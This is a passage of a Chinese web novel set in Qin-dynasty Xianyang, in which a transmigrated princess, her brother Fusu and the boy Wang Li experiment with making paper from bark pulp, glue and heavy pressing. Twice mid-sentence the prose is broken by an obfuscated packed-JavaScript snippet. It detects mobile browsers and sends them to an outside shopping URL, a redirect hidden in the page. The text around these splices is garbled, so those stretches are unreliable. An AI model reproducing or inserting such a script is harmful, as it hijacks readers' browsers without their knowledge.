【扶苏哥哥的字真好看,注释也写得密密麻麻,好认真。】她心里想着,忽然又冒出一个念头,【不过,这么多书,要查个什么东西,岂不是要翻好久?要是有索引,或者分类更细的目录就好了……】 “索引?目录?”扶苏心中微动,这又是两个陌生却似乎很有用的词,他看向明玉,“九妹是说,将书籍内容按门类或关键字重新编排,便于查找?” “啊?我……我就是瞎想的。”明玉没想到自己嘀咕出声了,赶紧摆手,“就是觉得书多了,找起来麻烦……” “‘索引’一词,倒是贴切。” 他看向明玉的目光更多了几分探究与欣赏,这位妹妹,总能不经意间冒出些奇思妙想。 明玉被夸得有点不好意思,在书房里又看了一会儿,怕打扰扶苏,便主动提出告辞。扶苏也不多留,温言将她送至门口。 走出扶苏的书房,明玉心情极好,脚步都轻快了许多。 回到自己偏殿,晚膳已经送来。 虽然不像昨晚那样与父兄同席,但菜色依旧精致,她美滋滋地吃着,心里还在回味刚才看到的“学霸书房”,以及扶苏哥哥温柔的样子。 【扶苏哥哥真好,又温柔又有学问,要是能一直这样就好了。】她满足地想着,对未来的“章台宫生活”充满了温暖的期待。 而隔壁的书房里,扶苏并未立刻温书,他站在书架前,回想着明玉那句关于“索引”和“分类目录”的嘀咕,又想到父王关于“纸”和“顺势而为”的暗示,一个隐约的计划在心中成形。 或许,他可以借着整理藏书、为妹妹寻找启蒙读物(或满足她好奇心)的名义,向将作少府调用一些物料和匠人,同时,也试试看,能否从那些“树皮、破布、渔网”的模糊描述中,探寻出一丝“纸”的微光。 章台宫的灯火次第亮起,照亮了沉思的公子,也照亮了隔壁吃饱喝足、开始打哈欠的小公主。 6. 第 6 章 秋意一日深过一日,章台宫庭院里的银杏终于落尽了最后一片叶子,只余下光秃秃的枝桠指向灰白的天空。 晨起时,阶下已见了霜。 明玉呵着白气,坐在外间书案后,手指冻得有些发僵,她搓了搓手,又拿起笔,对着《仓颉篇》上那个笔画繁复的“嬴”字,觉得手腕比昨日更酸了。 这是她第一次学写自己的姓氏,每一笔都小心翼翼,却依旧歪歪扭扭,像几条冻僵的虫子在竹简上爬。 【这要是在现代,冬天写字有暖气,手冷还能捂个暖手宝……】她心里第一百零一次叹气,【政爹每天批那么多竹简,手指不会冻僵吗?还有扶苏哥哥……唉,要是有纸就好了,至少轻便些,抱着也暖和点?】 这充满孩子气关怀的嘀咕,清晰地传入隔壁正殿。 嬴政正听取治粟内史禀报各地预备过冬的柴炭、粮食储备情况,闻言执笔的手几不可察地顿了一下。 冻僵?他自幼习字理政,冬日呵冻磨墨是常事,从未觉得如何。 只是这丫头…… 他目光掠过自己因常年执笔、指节处略显粗大的手,又看向殿角烧得正旺的炭盆,眸色深敛。 侍坐一旁的扶苏,研墨的动作也微微一顿,他不动声色地将手往袖中拢了拢——方才在外间站了片刻,指尖确实有些凉,九妹倒是心细。 他想起前几日父王隐晦的允诺,心中对“纸”的念头又重了几分。 午前,明玉得了片刻休息,正对着铜壶里自己的倒影发呆,琢磨着是不是该问宫人要个手炉。 扶苏从正殿出来,见她瑟缩的样子,走上前温声道:“九妹可是觉得冷了?我让人再添个炭盆来。” “不用不用,”明玉连忙摇头,“我不冷,就是手有点僵,写字不灵活。”她说着,又忍不住小声抱怨,“竹简硬邦邦的,冰手。” 扶苏闻言,眼中闪过思索,他沉吟片刻,忽然道:“九妹随我来,有样东西给你看。” 明玉眼睛一亮,立刻起身跟上。 扶苏并未带她去自己书房,而是引着她穿过后苑,来到一处更为僻静的院落。 这里有几间看起来像是堆放杂物的旧屋,平时少有人来。扶苏推开其中一间的门。 屋内比想象中整洁,靠窗处设有一张木案,上面摆放着石臼、木杵、几个大小不一的陶盆陶釜,还有一些竹筐,里面装着些看起来像是处理过的树皮、麻絮、破布等物。 空气中弥漫着一股淡淡的、混合了草木、石灰和湿润泥土的气味。 明玉好奇地四下打量:“长兄,这是?” “此处僻静,我已禀明父王,借来校书之余,做些杂项尝试。”扶苏走到案前,指着一个陶盆中浸泡着、颜色灰白的糊状物,“此乃按九妹先前所言,寻来树皮、破麻等,经浸泡、捶打、蒸煮后所得,我暂称之为……‘浆’。” 他又拿起旁边一块木板,上面贴着几张颜色灰黄、厚薄不均、干燥后皱巴巴甚至边缘碎裂的薄片。 那薄片质地粗糙,布满纤维疙瘩和杂质黑点,对着光看,能清晰看到交错的纤维纹理。 “此乃尝试晾晒所得。”扶苏语气平静,但眼中带着一丝不易察觉的困惑与执着,“轻薄虽有,然易碎,粗糙,不堪一触,更遑论书写,我试过不同配比,调整蒸煮时辰,添加草木灰或石灰,效果均不理想。或是捶打不够细,或是晾晒之法不对,或是原料本就不堪用……” 明玉凑近了,仔细看那些“失败品”。 很丑,很脆,摸上去扎手,但依稀能看出“纸”的雏形。 她能想象扶苏是如何在繁忙的政务课业之余,一个人在这里默默捣鼓这些树皮烂布,一次次失败,又一次次重来。 一股复杂的情绪涌上心头——有感动,有敬佩,也有些心疼。 “长兄……你试了多久了?”她轻声问。 “自那日与九妹谈过后,便断续准备物料,真正动手尝试,不过六七日。”扶苏如实道,目光落在那粗糙的薄片上,“只是进展甚微,让九妹见笑了。” “没有没有!”明玉连忙摇头,她看着那些失败品,努力回忆关于造纸的碎片知识,不能直接说流程,但可以根据看到的问题,提出些“孩童视角”的疑问和建议。 “长兄,你看这个,”她指着一张薄片上明显的黑点和疙瘩,“这里面是不是还有脏东西没弄干净?要不要用更密的布,多滤几遍?” 扶苏点头:“滤浆确可改进,我先前所用夏布,经纬稍疏。” “还有这个,”明玉拿起另一张干后卷曲翘边的薄片,“它晒干的时候,是不是皱起来了?能不能……把它压平?或者贴在光滑的石板、木板上晒?我见宫人浆洗细葛,晾在光滑竹竿上,似乎平整些。” “压平……贴于光滑之物上阴干?”扶苏眼中思索之色更浓。他之前一心想着快速干燥,多用日晒通风,的确未曾考虑“压平”定型和“阴干”缓释。“九妹观察入微,光滑之物……或可用石板、木板,覆以细布再贴浆?只是如何确保其不黏连,又能均匀干燥?” “要不……在板上先抹一层薄薄的油?或者滑石粉?”明玉想起以前看过的科普视频里,似乎提到过“纸药”和“分离剂”的概念,但具体是什么她记不清了,只能胡乱猜测。 “油或粉么……”扶苏沉吟,这倒是个思路。 油恐污纸,但滑石粉或草木灰细末,或许可以一试。 他看向明玉,眼中赞赏更甚,九妹虽不明深奥工艺,但每每能凭直觉和观察,点出实际操作中可尝试的细节,这本身已是极大助力。 “我稍后便令人寻光滑石板与压物来试。滤浆之布,亦需更替。”扶苏有了新的方向,精神一振,“九妹,此物制成非一日之功,恐需反复试验,我平日需处理政务课业,只能得空来此,已安排了一名可靠的老内侍在此照看,并记录每次物料、步骤与结果。你若得闲,亦可常来看看,若有新想,随时告我。” “嗯!我一定常来!”明玉用力点头,能参与这样“秘密”又有意义的事情,让她心里充满了奇特的使命感。 接下来的几天,明玉在习字之余,多了个期盼。 她每隔一两天,便会寻机去那旧厢房看看。 扶苏不常在,但那位姓陈的老内侍总是在。 陈内侍话不多,手脚却利索,对扶苏交代的事情一丝不苟,他会恭敬地向明玉展示最新的“纸浆”状态,以及按新法子(过滤、贴板、压重物阴干)晾晒出的“纸片”。 进展缓慢,但并非全无希望,尝试了更细密的双层绢布过滤后,浆料中的杂质黑点确实少了些。 尝试贴在抹了薄薄一层细滑石粉的木板上阴干,并压上平整的石块后,得到的薄片确实平整了不少,不易卷边翘角。 但脆裂的问题依旧,轻轻一折就断,表面也还是毛糙扎手。 这日午后,明玉又来看最新一批阴干中的“纸”。 陈内侍正小心翼翼地将一块黏在木板上的湿纸膜,连同木板一起转移到通风更好的架子上。 那纸膜依旧灰黄,对着光能看到明显的纤维纹理,但比起最初的“破烂”,已算得上“有模有样”了。 明玉伸出手指,极轻地碰了碰边缘。湿软的,带着凉意。 【还是不行啊……到底差在哪里?】她心里嘀咕,【是纤维本身不够好?还是它们之间粘不牢?好像……好像需要一种让纤维能纠缠粘在一起的东西?是什么来着……】 她正出神,努力在“知识库”里搜寻关于“纸药”或“植物黏液”的模糊记忆,忽听门外传来一阵由远及近的、略显急促的脚步声,以及一个有些耳熟、带着点喘气的少年声音:“陈翁?陈翁在吗?公子让我送些新捶打过的楮树皮来……哎哟!” 话音未落,一个身影已到了门口,险些被门槛绊了一下。 明玉和老内侍同时转头。 只见一个穿着深蓝色劲装、约莫八九岁、虎头虎脑的少年抱着个竹篓站在门口,正是王离,他似乎是一路小跑来的,额上带着薄汗,脸颊泛红。 少年一眼看到屋内的明玉和陈内侍,愣了一下,随即目光落在明玉身上,尤其在她额角那道浅粉色的疤痕上顿了顿,眼中闪过一丝了然。 他立刻站直身体,将竹篮放下,对着明玉规规矩矩地抱拳行礼,声音清亮:“小子王离,见过公主,不知公主在此,冒昧打扰,还望公主恕罪。” 王离?通武侯王贲之子?明玉心里一动,这就是那个历史上少年从军、后来戍守北疆的王离?她连忙回礼:“不必多礼,”她有些好奇,“你怎会寻到此地?” 王离挠挠头,有些不好意思地笑了:“我是奉长公子之命,送些新处理好的楮树皮过来,长公子说这边在试制一样新奇东西,需要这个,我循着味儿就找来了……” 他吸了吸鼻子,目光忍不住往屋里那些器具和材料上瞟,眼中满是好奇,“公主,你们这是在做什么?这味儿……像是在煮什么东西,又不像吃的,这些烂树皮、破布,还有这盆白浆……是做什么用的?” 他性子直爽,想到什么就问什么,倒是毫不拘束。 明玉见他对这些感兴趣,年纪又和自己相仿,便也少了几分拘谨,解释道:“是在试着做一种……叫‘纸’的东西,想做出比竹简轻便、能写字的东西,这些树皮麻絮,就是原料,捣烂煮过,变成浆,再想办法弄干成型。” “纸?比竹简轻便?能写字?”王离瞪大了眼睛,显然觉得这想法十分新奇。 他走到案前,仔细看了看那些晾着、依旧粗陋的“纸片”,又看了看盆里的浆料,忍不住伸手想碰碰那些干纸片,又缩回手,抬头问明玉:“公主,我能摸摸看吗?” “可以,不过要轻点,它们还很脆。”明玉点头。 王离小心翼翼地捏起一小块边缘的碎纸,用手指搓了搓,又轻轻一掰,果然应声而裂。 “真的挺脆。”他皱眉,又凑近看了看断面,“里面一丝一丝的,是没捣烂吗?” “是纤维。”明玉顺口道,说完才意识到这个词可能太现代,连忙补充,“就是树皮里那些一丝丝的东西,要把它们弄得很短很细,还要让它们能粘在一起,做出来的‘纸’才不容易碎。现在就是……总是弄不好。” “让它们粘在一起?”王离思索着,忽然道,“那加点胶行不行?我们制弓弩,处理牛筋、鱼鳔,都要用胶熬煮,粘性可大了,不过那玩意儿贵,而且熬出来硬邦邦的,不知道合不合适。” 明玉眼睛一亮。【胶?对啊!动物胶!虽然可能不是最理想的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王离虽然不懂其中深奥原理,但常看家中匠人做事,有时提出的问题反而很实际,比如“为什么不用石磨来磨?”“晒干是不是比阴干快?”,有些明玉能回答,有些她也答不上,便老实说“不知道,要试”。 “公主,”王离看着架子上那些依旧不尽人意的“纸片”,忽然道,“你说这‘纸’要是真做成了,又轻又薄,那行军的时候带兵书地图,是不是就方便多了?竹简实在太沉了。” 明玉一愣,她还没想到这个应用场景,但仔细一想,确实啊!对于需要轻装简从的军队来说,轻便的纸张绝对是革命性的。 【王离倒是从实用的角度想到了……不愧是武将世家。】 “应该会方便很多。”明玉点头,“不止兵书,传递军情文书,如果也能用轻薄的纸,是不是也能快些?” “对呀!”王离眼睛更亮了,“驿站传信,一卷竹简多重!要是换成几张轻飘飘的‘纸’,马都能跑快些!”他越想越觉得这事有意义,看向那些失败品的眼神都变了,仿佛看到了未来军营里的便利。 他又在屋里待了一会儿,帮着陈内侍把新送来的楮树皮归置好,才告辞离开,临走前还再三说如果长公子同意,他随时可以来帮忙捣浆。 明玉送他离开,回到厢房,看着那些简陋的工具和材料,心里多了些不一样的感觉。 之前是她和扶苏哥哥在摸索,现在好像多了个志同道合的小伙伴?虽然王离的“志同道合”可能更偏向于“觉得这东西可能对打仗有用”,但那份单纯的热忱和实际的视角,却让人感觉很踏实。 【也许……真的能成?】她看着盆中细腻了些的浆料,默默想着。 而此刻,章台宫正殿内,嬴政刚刚听完影密卫的例行禀报。 当听到明玉与王离在旧厢房的那番对话,尤其是王离提到“加胶”、“行军携带”以及明玉心中关于“驿站传信”的联想时,他深邃的眼眸中,掠过一丝几不可察的波澜。 他放下手中的一份关于南阳铁官产量提升的奏报,指尖在光滑的案几上轻轻敲击。 那丫头关于“纸”的执念,似乎正在以她未曾预料的方式,悄然吸引着第一个“同道者”。 而那个王家小子看似鲁直的问题,却也点出了此物可能蕴藏的、超越书写的价值。 “传将作少府令。”他淡淡开口。 “唯。” 不久,将作少府令匆匆入殿。 嬴政并未提及“纸”字,只道:“寡人闻,民间水碓用于舂米,颇省人力。然其制粗陋,效率有限,着你召集巧匠,详研其理,设法改进,或可应用于其他需反复捶打碾磨之物。若有成,重赏。” 将作少府令虽不明陛下为何突然关注起水碓这种“微末之技”,但不敢多问,连忙应下:“臣遵旨!定当全力督办!” 嬴政挥退他,重新看向案头堆积的简牍。 嬴政刚刚批完一份关于巴蜀道路维修的奏报,揉了揉眉心,那“水碓”二字在他脑中一闪而过,利用水力带动木杵舂米,他是知道的。 若改造用以捶打柔软浆料…… 他抬眸,看向殿外院落里那棵老树投下的摇曳光影。或许,可以让将作少府的人,去“偶然”发现长公子那边的需求,然后“主动”提出协助改进器械? 而扶苏,此刻正在自己书房,对照着陈内侍这几日记录的试验数据,眉头微锁。 九妹那句“纤维之间不咬合”,点醒了他。他想起曾见匠人用某种藤皮泡水后产生滑腻黏液来处理皮革……或许,可以寻来一试?还有捶打之力,确需设法改进…… 他铺开新的竹简,开始写下明日要尝试的新方向,以及需要寻访的物料名单。灯火下,他的侧影沉静而专注,那点关于“纸”的微光,在无数次失败与思索的打磨下,似乎正变得越发清晰、坚定。 7. 第 7 章 王离离开后,旧厢房重归安静,只余下陈内侍轻轻搅动浆料的细微水声。 明玉看着架子上那些依旧脆弱的“纸”坯,心里却还回荡着王离那番关于“胶”和“行军携带”的话。 【动物胶……鱼鳔胶……好像确实古代就有。不过直接加进浆里,会不会让纸变硬变脆?还是得试试。】 她走到案前,拿起一块干透的、边缘毛糙的“纸”片,轻轻一捻,碎屑簌簌落下。【纤维还是太散了,根本没抱成团,要是能像织布那样,让它们交织得更紧密就好了……】 “公主,”陈内侍的声音打断了她的思绪,“您看这新滤的浆,是不是比昨日又细腻了些?老奴按您说的,多沉淀了一会儿,把上面那层稍清的舀掉,下面的似乎更稠。” 明玉凑过去看,陶盆底部的浆料确实显得更均匀,悬浮的粗纤维少了些。 “是好些了,陈翁,咱们这次就用这浆,再试一次贴板阴干,对了,”她想起王离的话,“陈翁可知,宫里或坊间,有没有那种……粘稠的,用来粘东西的胶?比如粘木头、补器皿的?” 陈内侍想了想:“公主是说‘漆’?还是‘膘胶’?漆黏而贵,多用于器物,膘胶倒是常见,乃用兽皮筋骨熬制,匠作修补常用,粘性亦足,公主问这个是?” “我在想,若是往这浆里加入少许膘胶,会不会让做出来的……‘纸’,更韧些,不易碎?”明玉不太确定地说。 陈内侍闻言,露出思索的神色:“这……老奴未曾试过,膘胶遇热则化,入水亦可融,或可一试,只是用量需谨慎,多了恐板结,少了或无益。且需均匀混入浆中,亦是难事。” “那就先试试一点点?”明玉提议,“反正咱们也是在试,不成也不怕。” 陈内侍点点头:“公主既有此想,老奴稍后便去寻些品质寻常的膘胶来,只是此事……是否需先禀过长公子?” 明玉觉得有理,扶苏才是这“实验”的主心骨。“等长兄下次来时,我问问他,若他同意,咱们再试。” 接下来的两天,扶苏似乎格外忙碌,只是偶尔在早晚抽空来旧厢房看一眼进展,听陈内侍禀报几句,又匆匆离去。 明玉从他紧锁的眉头和眼下淡淡的青影,猜测前朝恐怕有要紧事,她不敢多问,只将王离来访、提及胶和水碓等事,以及自己想尝试加胶的想法,找机会简单说了。 扶苏听得很认真,尤其对“水碓”改造和“加胶增韧”两个方向若有所思,只嘱咐她“可按所想与陈翁谨慎尝试,记录详实”,并说会留意合适的胶料,便又去忙了。 明玉隐约听到正殿方向常有重臣出入,气氛似乎比平日更肃穆。她心里嘀咕:【是伐楚的事有变?还是别的什么?政爹和扶苏哥哥好像都很忙……】 但她也知道,这些军国大事,不是她一个“九岁公主”该多问的,只好将心思都放在眼前的“纸”上。 又过了几天,明玉正看着陈内侍将新得的一小块黄色半透明的膘胶,用温水慢慢化开,准备按极小的比例加入一小盆浆料中尝试,院门外又传来了熟悉的脚步声。 是王离,这次他空着手,但换了一身更方便活动的短褐,袖子挽到小臂,额上还带着汗,像是刚活动过。 “公主!”他看见明玉,眼睛一亮,大步走过来,又对陈内侍点点头,目光立刻被那盆正在融化的膘胶吸引,“这是……胶?真要试了?” “嗯,长兄允了,先试试看。”明玉点头,看着王离跃跃欲试的样子,问,“你今日怎么有空过来?” “我晨起练完功,想着这边或许需要出力气的,就过来看看。”王离很自然地说,探头看了看盆里融化的胶水,又看看旁边准备混合的纸浆,“这胶水怎么混进去?直接倒?会不会结块?” “正愁这个呢。”陈内侍道,“老奴想着,或许可将胶水徐徐滴入,同时不停搅动浆料,或可均匀些。” “我来搅!”王离自告奋勇,接过陈内侍手中的木棒,在盛放纸浆的陶盆里用力而缓慢地搅动起来,他手臂有力,动作却不算鲁莽,显然记住了陈内侍说的“均匀”。 明玉在一旁看着胶水被一点点倒入,在王离的搅动下,与灰白的纸浆慢慢融合,加了胶的浆料,看起来似乎没什么太大变化,只是手感上似乎多了一点点微不可察的“滞涩”。 “先贴一板试试?”明玉提议。 “好!”王离干劲十足,帮着陈内侍将混合了胶水的浆料用细绢过滤一遍,然后小心地倒在抹了滑石粉的木板上,用刮板轻轻刮平,再覆上一层细布,压上石板。 等待阴干需要时间。 王离也没闲着,在院子里转了一圈,目光落在那个沉重的石臼和木杵上。 “公主,你说这捣浆的活儿,要是真能用水力,该多省事。”他比划着,“我在军中见过水碓,那大木锤子,借水势起落,力道可足了!就是用来舂米的,底下是石臼,要是能把臼做得浅些大些,锤头弄平,说不定真能用来捶这浆料,至少比人抱着杵砸省力,还匀。” 明玉听他说得具体,心里也有些期待。【要是真有改良的水碓,效率能提一大截。】她点点头:“希望将作少府的巧匠们能想出法子。” “将作少府?”王离挑眉,“他们也在琢磨这个?” “呃,我是猜的。”明玉连忙掩饰,“长兄或许会去问问?” 王离也没深究,转而说起了别的,他年纪虽小,但从小在军营和将门环境里长大,见识颇杂,说起匠作营里如何炼铁、打制兵器,如何鞣制皮革制作甲胄,头头是道。 有些内容涉及军中实务,他说得简略,但已足够让明玉听得入神,大开眼界。 明玉也挑些自己知道、不涉及敏感的历史或科技常识,比如不同树皮的特点,或者听宫人说的各地风物,跟他闲聊。 两人年纪相仿,一个好奇发问,一个乐于分享(或吹嘘见闻),倒是越聊越投机。 陈内侍在旁边安静地处理物料,偶尔听到有趣处,脸上也露出淡淡的笑意。 次日,明玉迫不及待地来看加了胶的那板纸,王离也早早来了,两人一起小心翼翼地将压着的石板移开,揭开覆布。 木板上的纸坯已经干透,颜色似乎比之前未加胶的略深一点点,呈现出一种更均匀的灰黄色。明玉轻轻捏住一角,尝试将其揭下。 这一次,纸张离开木板的过程顺利了许多,没有在边缘轻易碎裂,整张纸被完整地揭了下来,比之前任何一次都要完整。 “成了?”王离期待地问。 明玉将这张纸拿在手中。它比之前的“纸片”明显挺括了些,不那么软塌,她小心地用手指捏了捏,韧性似乎好了点,但用力一折—— “咔嚓”,依然裂了,但断口不如之前那样干脆地碎成渣,而是带着些拉扯的毛边。 “好像……是韧了一点?”明玉不太确定,将纸递给王离。 王离接过来,仔细摸了摸,又轻轻弯折几下,点头:“是比上回那张强点,没那么脆生了,但还是不行,写字肯定一戳就破。” 他有点失望,但随即又振作起来,“看来加胶有用,但不够,要么是胶不对,要么是加少了,或者还得想别的法子。” “嗯。”明玉也这么觉得。这算是小小的进步,但离目标还很远。她将这张“加胶初版”纸和之前的“失败品”放在一起,让陈内侍记下胶的种类、大概用量和效果。 就在这时,院门外传来脚步声,扶苏走了进来,他今日神色似乎舒缓了些,但眉宇间仍带着思索。 “长兄。”明玉和王离同时行礼。 “不必多礼。”扶苏温声道,目光落在案上那些新旧不一的“纸”上,尤其拿起那张“加胶初版”仔细看了看,又轻轻撕扯一下,眼中露出思索,“加了胶?效果似乎微有改善。” “是,但还不够韧。”明玉将试验情况简单说了。 扶苏点点头,将纸放下,看向王离:“王离,你昨日提及水碓改造之事,我寻了将作少府的匠人略作探讨,他们言道,原理可行,然改造需时,且需寻合适水域试制,非短期可成。” 王离有些失望,但也能理解:“确实,那玩意儿不小,造起来麻烦。” “不过,”扶苏话锋一转,“他们倒提供了另一思路,言及宫中旧库,存有前代所遗一架‘连机水碓’的残损机括图,其设计较寻常水碓更精,若能修复或借鉴,或可事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937177|192892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半功倍。我已令人去寻图。” “连机水碓?”王离眼睛又亮了,“是那种能带动好几个碓头一起动的?” “或许。”扶苏微笑,“若得此图,改良或可加速,此事你既有心,届时或可一同参详。” “太好了!谢谢长公子!”王离高兴道。 扶苏又对明玉道:“至于胶质,我查阅了些匠作记载,提及鹿角、鱼鳔所熬之胶,性较皮胶更韧而清透,或可一试,已让人去寻。另外,”他顿了顿,从袖中取出一个小小的、不足巴掌大的扁平木盒,递给明玉,“此物予你。” 明玉疑惑地接过,打开木盒。里面是几块拇指大小、颜色深黑、质地细腻的块状物,闻之有淡淡的松烟气味。 “这是……”明玉不解。 “墨。”扶苏道,“少府新制的松烟墨,质地极细,胶轻而烟匀,我忽然想起,你既试纸,总需有墨验证。用此墨在那些‘纸’上试试,或许能更清晰地看出其吸墨、洇染、承笔之力,也好知不足在何处。” 明玉恍然大悟,心里暖洋洋的。 【扶苏哥哥想得真周到!】她正愁怎么更准确地测试纸的性能呢。“谢谢长兄!” “此外,”扶苏看向案头那些记录试验的粗糙木牍和炭笔痕迹,温和道,“九妹与陈翁记录试验,用炭笔木牍,易污难存,不若用此墨,与笔,记录于……” 他目光扫过那些尚不能用的“纸”,微微一笑,“暂且仍用竹简,但可裁为小片,专用于记录此事,我也好时时翻阅,知其进展。” “好!”明玉用力点头,觉得这安排再好不过,有了专门的记录方式和更好的墨,他们的“实验”似乎更正规了。 扶苏没有多留,嘱咐他们小心尝试,便离开了,显然还有事要忙。 王离看着扶苏离开的背影,对明玉小声道:“长公子真厉害,什么都想得到。” 明玉深有同感地点点头,注意力已回到那盒新墨上。“王离,要不……我们现在就试试?用这新墨,在之前几张稍微像样的‘纸’上写写看?” “好啊!”王离也来了兴趣。 陈内侍连忙去取笔和清水。明玉挑了两张相对完整、表面略平整的“纸”,一张是前几日未加胶的“相对成功品”,一张是今天的“加胶初版”。 她将墨块在石砚中加少许水,轻轻研磨,看着细腻的墨汁在砚中化开。 然后,她提起笔,蘸了墨,屏住呼吸,先在那张未加胶的纸上,轻轻落下一笔。 墨迹触纸的瞬间,迅速晕染开一小团,边缘毛糙,几乎看不出笔锋。纸张被墨浸湿的部分,颜色变深,显得更脆弱。 “洇得太厉害了。”王离凑在旁边看,皱眉。 明玉又换到那张“加胶初版”上,同样落下一笔。 这一次,墨迹的晕染似乎稍微好了那么一点点,扩散的范围小了些,但也仅此而已,依旧谈不上“书写”。 “还是不行。”明玉放下笔,有些气馁,看来不只是脆韧问题,纸张本身的纤维结构、密度、对墨的吸收和固着能力,都差得远。 “至少试出毛病了嘛。”王离倒是乐观,“知道光加这点胶,改不了洇墨的毛病,咱们再想别的法子!诶,你说,会不会是这纸太‘松’了?毛孔太大?所以墨一上去就洇开了?能不能把它做得更‘密实’点?” 更密实?明玉心中一动。【对啊,纤维交织不够紧密,孔隙大……除了捶打更细,是不是可以在抄纸成型的时候,想办法让纤维排列更紧密?或者加大压力?延长压平的时间?】 她将自己的想法说了出来。 王离听得半懂不懂,但“加大压力”、“压久点”是明白的。“那简单!下次咱们找更重的石板来压!多压几天!” 陈内侍在一旁道:“老奴记得,库中有些废弃的磨盘石,厚重无比,或可用来加压。只是搬动不易。” “我去找我爹要几个力气大的亲兵来帮忙搬!”王离立刻道。 明玉看着王离积极的样子,再看看砚中未干的墨迹和桌上那两张染了墨团的“废纸”,心里那点气馁散去了,失败是显而易见的,但方向似乎也在一次次尝试和讨论中,变得越来越清晰。 8. 第 8 章 秋霜化尽,晨风里已带上了入骨的寒意。 明玉呵着手走进旧厢房时,陈内侍正将一块厚重的粗麻布垫在门口的石阶上。 屋里多了几样新物事——墙角倚着两块边缘不甚规整、但明显厚实沉重的青石磨盘,看大小和磨损程度,似乎是宫厨废弃不用的旧物。旁边还放着几块大小不一的扁平石板。 “陈翁,这些是……”明玉讶然。 “回公主,是老奴托相熟的宫人,从废弃库房寻来的。”陈内侍道,“王离将军说今日会带人来帮忙安置。加压密实之法,或可一试。” 话音刚落,院门外就传来一阵沉稳有力的脚步声,还夹杂着压低嗓音的简短号令。 王离带着两名身着寻常役服、但身形精壮、动作利落的汉子走了进来。那两人目不斜视,对明玉恭敬行礼后,便沉默地等待吩咐。 “公主,人我带来了,都是我爹亲卫里力气大、嘴巴严的。”王离对明玉眨眨眼,又转向那两块磨盘,摩拳擦掌,“这玩意儿看着就沉,怎么用?压在晾纸的木板上?” “正是。”陈内侍忙道,“老朽想着,将晾纸之板置于平整地上,板上覆湿纸坯与细布,再压以石板,最上置此磨盘,或可增压力。只是需小心,莫要压碎了木板与纸坯。” “明白!”王离指挥着两名亲卫,先将一块最大的平整石板搬到屋内最干燥避风的一角地面放好。 然后,陈内侍将昨日新抄制、尚未全干的一块加了少许膘胶的湿纸坯,连同垫着的细布,小心地从木板上揭下,这次揭得比之前顺利些,纸张基本完整,平铺在那块底石上。 再覆上一层干细布,然后压上一块略小、但表面光滑的石板。 “来,上磨盘!”王离招呼一声,与一名亲卫合力,嘿呦一声,将一块较小的磨盘稳稳抬起,小心地放在了石板中央。沉重的压力让底下的石板都似乎微微下陷了一丝。 “再加一块?”王离问。 “先压一块试试。”明玉谨慎道,“压太重了,万一不成,反把纸压碎了。” 陈内侍点点头,在记录的木片上刻下“戊子日,加膘胶浆,压小磨盘一”。 另一块湿纸坯也如法炮制。 王离看着那压在磨盘下的纸,有些期待:“要压多久?” “至少两三日吧,待其阴干。”陈内侍估算道,“加压之下,阴干或也更慢些。” 安置妥当,王离让两名亲卫先行离开,自己却留了下来,搓着手道:“公主,我看咱们这浆,每次滤完,盆底总有些沉不下去的粗渣,是不是滤得还不够?能不能用更细的绢,或者多滤几道?” 明玉也注意到了这个问题,她回忆着造纸的流程,隐约记得有个“洗料”的步骤,似乎就是为了去除杂质,让纤维更纯净。 “也许……可以试试在捣浆之前,就把树皮麻絮漂洗得更干净?或者,用流水反复冲洗滤出来的浆?” “用流水?”王离想了想,“那得去有水的地方,宫里倒是有活水渠,但人多眼杂……要不,咱们就在这院里,用大盆小盆,来回倒腾着澄洗?就是费水费力。” “试试看吧。”明玉觉得,既然要摸索,每个环节的改进都可能带来变化。 陈内侍记下“澄洗”二字。 接下来的半天,三人就在旧厢房的小院里忙活开来。用大陶缸沉淀浆料,小心地将上层较清的浆水舀到另一个缸中,留下底部的粗渣再加水搅匀沉淀,如此反复。 又尝试用更细密的生绢(一种极薄的平纹丝织物)过滤,过程繁琐耗时,但得到的浆料,肉眼可见地更加细腻洁白了些,几乎看不到明显的黑点杂质。 “这浆看着舒服多了!”王离看着缸中细腻的白色浆液,颇有成就感。 明玉也点点头,心里却想:【浆是细了,但纤维长度和结合还是问题,加胶效果有限,加压结果未知……唉,任重道远。】 等待加压阴干的日子里,明玉依旧每日去正殿外间习字。 天气越发冷了,她写字时不得不时时停笔,将手凑到嘴边呵气取暖。 扶苏见了,次日便让人给她送来了一个精致小巧的铜手炉,里面装着燃尽的炭灰,覆着一层隔热的白灰,捧在手里暖烘烘的,却不烫人。 “长兄说,公主手冷,用此物可暖手,也不碍写字。”送手炉来的小内侍传话道。 明玉心里暖洋洋的,抱着手炉,觉得连带着冰冷的竹简都顺眼了些。 【扶苏哥哥真好,这么细心。】她心里嘀咕,【不过要是纸做成了,冬天抱着看书写字,肯定更舒服。】 这话自然被隔壁的嬴政和扶苏听去了,嬴政瞥了一眼殿角烧得正旺的炭盆,未置一词。 扶苏则低头研墨,嘴角微弯。 这日,明玉在习字时,隐约听见正殿里似乎在议论“楚地”、“项燕”、“粮道”等,语气比平日更显凝重,她不敢分心细听,但心里大致有数,伐楚的战事恐怕已进入关键或胶着阶段,难怪前几日扶苏那么忙。 又过了两日,估摸着加压的纸坯该干透了。 明玉、王离和陈内侍三人,怀着期待又忐忑的心情,准备揭开磨盘。 王离和一名亲卫小心地移开磨盘,陈内侍轻轻揭开覆在最上面的石板和细布。 压在底下的纸坯露了出来。 第一眼看过去,似乎与之前未加压的并无太大不同,依旧是灰黄色,但王离眼尖,低声道:“好像……平整些?特别板正。” 明玉也看出来了。 这张纸几乎完全平贴在底石上,没有半点卷曲,表面也比之前任何一张都显得“瓷实”,那种蓬松毛糙的感觉减轻了。 陈内侍用薄竹片,极其小心地从边缘切入,尝试将纸揭起。 